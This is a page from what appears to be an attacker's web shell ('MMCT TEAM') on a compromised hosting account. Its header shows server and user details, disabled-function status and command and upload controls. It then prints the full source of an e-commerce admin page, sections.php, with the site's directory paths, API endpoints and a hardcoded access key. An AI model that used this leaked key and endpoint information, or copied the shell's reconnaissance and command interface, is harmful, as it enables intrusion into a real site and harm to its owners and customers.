MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 216.73.216.81
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/uniformindia.co.in/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/uniformindia.co.in/public_html/admin/sections.php
<?php
    // start session
	session_start();
    
    // set time for session timeout
    $currentTime = time() + 25200;
    $expired = 3600;
    
    // if session not set go to login page
    if (!isset($_SESSION['user'])) {
        header("location:index.php");
    }
    
    // if current time is more than session timeout back to login page
    if ($currentTime > $_SESSION['timeout']) {
        session_destroy();
        header("location:index.php");
    }
    
    // destroy previous session timeout and create new one
    unset($_SESSION['timeout']);
    $_SESSION['timeout'] = $currentTime + $expired;
    ?>
<?php include"header.php";?>
<html>
    <head>
		<title>Featured Section for Exclusive Products | <?=$settings['app_name']?> - Dashboard</title>
        
        <style type="text/css">
            .container{
            width: 950px;
            margin: 0 auto;
            padding: 0;
            }
            h1{
            font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;
            font-size: 24px;
            color: #777;
            }
            h1 .send_btn
            {
            background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#0096FF), to(#005DFF));
            background: -webkit-linear-gradient(0% 0%, 0% 100%, from(#0096FF), to(#005DFF));
            background: -moz-linear-gradient(center top, #0096FF, #005DFF);
            background: linear-gradient(#0096FF, #005DFF);
            text-shadow: 0 1px 0 rgba(0, 0, 0, 0.3);
            border-radius: 3px;
            color: #fff;
            padding: 3px;
            }
            div.clear{
            clear: both;
            }
            ul.devices{
            margin: 0;
            padding: 0;
            }
            ul.devices li{
            float: left;
            list-style: none;
            border: 1px solid #dedede;
            padding: 10px;
            margin: 0 15px 25px 0;
            border-radius: 3px;
            -webkit-box-shadow: 0 1px 5px rgba(0, 0, 0, 0.35);
            -moz-box-shadow: 0 1px 5px rgba(0, 0, 0, 0.35);
            box-shadow: 0 1px 5px rgba(0, 0, 0, 0.35);
            font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;
            color: #555;
            width:100%;
            height:150px;
            background-color:#ffffff;
            }
            ul.devices li label, ul.devices li span{
            font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;
            font-size: 12px;
            font-style: normal;
            font-variant: normal;
            font-weight: bold;
            color: #393939;
            display: block;
            float: left;
            }
            ul.devices li label{
            height: 25px;
            width: 50px;                
            }
            ul.devices li textarea{
            float: left;
            resize: none;
            }
            ul.devices li .send_btn{
            background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#0096FF), to(#005DFF));
            background: -webkit-linear-gradient(0% 0%, 0% 100%, from(#0096FF), to(#005DFF));
            background: -moz-linear-gradient(center top, #0096FF, #005DFF);
            background: linear-gradient(#0096FF, #005DFF);
            text-shadow: 0 1px 0 rgba(0, 0, 0, 0.3);
            border-radius: 7px;
            color: #fff;
            padding: 4px 24px;
            }
            a{text-decoration:none;color:rgb(245,134,52);}
        </style>
    </head>
    <body>
        <div class="content-wrapper">
        <section class="content-header">
            <h1>Featured Section to show products exclusively</h1>
            <ol class="breadcrumb">
                <li><a href="home.php"><i class="fa fa-home"></i> Home</a></li>
            </ol>
            <hr/>
        </section>
        <?php
            include_once('includes/functions.php');
            ?>
        <section class="content">
            <div class="row">
                <div class="col-md-6">
                     <?php if($permissions['featured']['create']==0){?>
                            <div class="alert alert-danger" id="create">You have no permission to create featured section.</div>
                        <?php } ?>
                        <?php if($permissions['featured']['update']==0){?>
                            <div class="alert alert-danger" id="update" style="display: none;">You have no permission to update featured section.</div>
                        <?php } ?>
                    <div class="box box-primary">
                        <div class="box-header with-border">
                            <h3 class="box-title">Create / Manage featured products section</h3>
                        </div>
                        <form id="section_form" method="post" action="api-firebase/sections.php" enctype="multipart/form-data">
                            <div class="box-body">
                                <input type='hidden' name='accesskey' id='accesskey' value='90336'/>
								<input type='hidden' name='add-section' id='add-section' value='1'/>
								<input type='hidden' name='section-id' id='section-id' value=''/>
                                <input type='hidden' name='edit-section' id='edit-section' value=''/>
								<label for='title'>Title for section</label>
								<input type='text' name='title' id='title' class='form-control' placeholder='Ex : Featured Products / Products on Sale' required/>
								<label for='short_description'>Short Description</label>
								<input type='text' name='short_description' id='short_description' class='form-control' placeholder='Ex : Weekends deal goes here' required/>
								<label for='style'>Section Style</label>
								<select name='style' id='style' class='form-control'/>
									<option value="style_1">Style 1</option>
									<option value="style_2">Style 2</option>
									<option value="style_3">Style 3</option>
                                    <option value="style_4">Style 4</option>
								</select>
                                 
                                    <div class="ofr_pr" style="display:none ">
                                           <br>
                                <label for='offer_price'>Offer Price <small>( Ex : 10,20, 30 <comma separated>)</small></label>
                                    <input type="text" name="offer_price" id="offer_price">
                                </div>
								<br>
								<label for='product_ids'>Product IDs <small>( Ex : 100,205, 360 <comma separated>)</small></label>
								<select name='product_ids[]' id='product_ids' class='form-control' placeholder='Enter the product IDs you want to display specially on home screen of the APP in CSV formate' required multiple="multiple">
								<?php $sql = 'select id,name from `products` order by id desc';
                                    $db->sql($sql);

									$result = $db->getResult();
                                    foreach($result as $value){
                                        ?>
                                        <option value='<?=$value['id']?>'><?=$value['name']?></option>
                                    <?php }?>
									
								</select>
							</div>
                            <div class="box-footer">
                                <input type="submit" class="btn-primary btn" value="Create" id='submit_btn'/>
                                <input type="reset" class="btn-default btn" value="Reset" id='reset_btn'/>
                            </div>
                        </form>
                        <div id='result' style="display: none;"></div>
                    </div>
                </div>
				<div class="col-md-6">
                    <?php if($permissions['featured']['read']==1){?>
					<div class="box box-primary">
						<div class="box-header with-border">
                            <h3 class="box-title">Featured Sections of App</h3>
                        </div>
						<table id="notifications_table" class="table table-hover" data-toggle="table" 
							data-url="api-firebase/get-bootstrap-table-data.php?table=sections"
							data-page-list="[5, 10, 20, 50, 100, 200]"
							data-show-refresh="true" data-show-columns="true"
							data-side-pagination="server" data-pagination="true"
							data-search="true" data-trim-on-search="false"
							data-sort-name="id" data-sort-order="desc">
							<thead>
							<tr>
								<th data-field="id" data-sortable="true">ID</th>
								<th data-field="title" data-sortable="true">Title</th>
								<th data-field="short_description" data-sortable="true">Short Description</th>
								<th data-field="style" data-sortable="true">Style</th>
								<th data-field="product_ids" data-sortable="true">Product IDs</th>
                                <th data-field="offer_price" data-sortable="true">Price</th>
								<th data-field="operate" data-events="actionEvents">Action</th>
							</tr>
							</thead>
						</table>
					</div>
                </div>
                 <?php } else {?>
                        <div class="alert alert-danger">You have no permission to view featured section.</div>
                    <?php } ?>
            </div>
        </section>
	</div>
	<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.16.0/jquery.validate.min.js"></script>
	<script>
   $('#style').change(function(){
    if($(this).val()=='style_4'){
        $('.ofr_pr').show();
    }
    else{
        $('.ofr_pr').hide();
    }
   })



	$( "#section_form" ).validate({
	    rules: {
            title: "required",
            short_description:"required"
        }
    });
	$('#product_ids').select2({
		width: 'element',
		placeholder: 'type in product name to search',
		// minimumInputLength: 3,
		/* ajax: {
			url: 'api/get-bootstrap-table-data.php',
			dataType: 'json',
			type: "GET",
			quietMillis: 1,
			data:function(params){
				return{
					products_list: 1,
					name:params.term,
				};
			},
			processResults:function(data) {
				// alert(JSON.stringify(data));
				return {
					results: data
				};
			},
		} */
	});
        $('#update_product_ids').select2({
        width: '100%',
        placeholder: 'type in product name to search',
        // minimumInputLength: 3,
        /* ajax: {
            url: 'api/get-bootstrap-table-data.php',
            dataType: 'json',
            type: "GET",
            quietMillis: 1,
            data:function(params){
                return{
                    products_list: 1,
                    name:params.term,
                };
            },
            processResults:function(data) {
                // alert(JSON.stringify(data));
                return {
                    results: data
                };
            },
        } */
    });
	$('#section_form').on('submit',function(e){
        // alert("hi");
    	e.preventDefault();
    	var formData = new FormData(this);
        // alert(this);
    	if($("#section_form").validate().form()){
			$.ajax({
			type:'POST',
			url: $(this).attr('action'),
			data:formData,
			dataType:'json',
			beforeSend:function(){$('#submit_btn').html('Please wait..');},
			cache:false,
			contentType: false,
			processData: false,
			success:function(result){
				$('#result').html(result.message);
				$('#result').show().delay(6000).fadeOut();
				$('#add-section').val(1);
        		$('#edit-section').val('');
        		$('#section-id').val('');
        		$('#title').val('');
        		$('#short_description').val('');
        		$('#product_ids').val(null).trigger('change');
        		$('#product_ids').select2({placeholder: "type in product name to search"});
        		$('#submit_btn').val('Create');
        		$('#notifications_table').bootstrapTable('refresh');
			}
			});
    	}
    }); 
	</script>
	<script>
	window.actionEvents = {
		'click .edit-section': function (e, value, row, index) {
			// alert('row: ' + JSON.stringify(row));
			$('#add-section').val('');
			$('#edit-section').val(1);
			$('#section-id').val(row.id);
			$('#title').val(row.title);
			$('#short_description').val(row.short_description);
			$('#style').val(row.style);
            $('#offer_price').val(row.offer_price);

			$('#submit_btn').val('Update');
			$('#product_ids').val(row.product_ids);
               if($('#style').val()=='style_4'){
                $('.ofr_pr').show();

            }
			// alert(row.product_ids);
			var array = row.product_ids.split(",");
			$('#product_ids').select2().val(array).trigger('change');

			}
		};
	</script>
	<script>
	$(document).on('click','#reset_btn',function(){
		$('#add-section').val(1);
		$('#edit-section').val('');
		$('#section-id').val('');
		$('#product_ids').val(null).trigger('change');
		$('#product_ids').select2({placeholder: "type in product name to search"});
		$('#submit_btn').val('Create');
		
	});
	</script>
	<script>
    $(document).on('click','.delete-section',function(){
        if(confirm('Are you sure?')){
            id = $(this).data("id");
            $.ajax({
                url : 'api-firebase/sections.php',
                type: "get",
                data: 'accesskey=90336&id='+id+'&type=delete-section',
                success: function(result){
                    if(result==1){
                        $('#notifications_table').bootstrapTable('refresh');
                    }
                    if(result==2){
                        alert('You have no permission to delete featured section');
                    }
                    if(result==0){
                        alert('Error! Section could not be deleted');
                    }
                }
            });
        }
    });
    </script>
</body>
</html>
<?php include"footer.php"; ?>

MMCT - 2023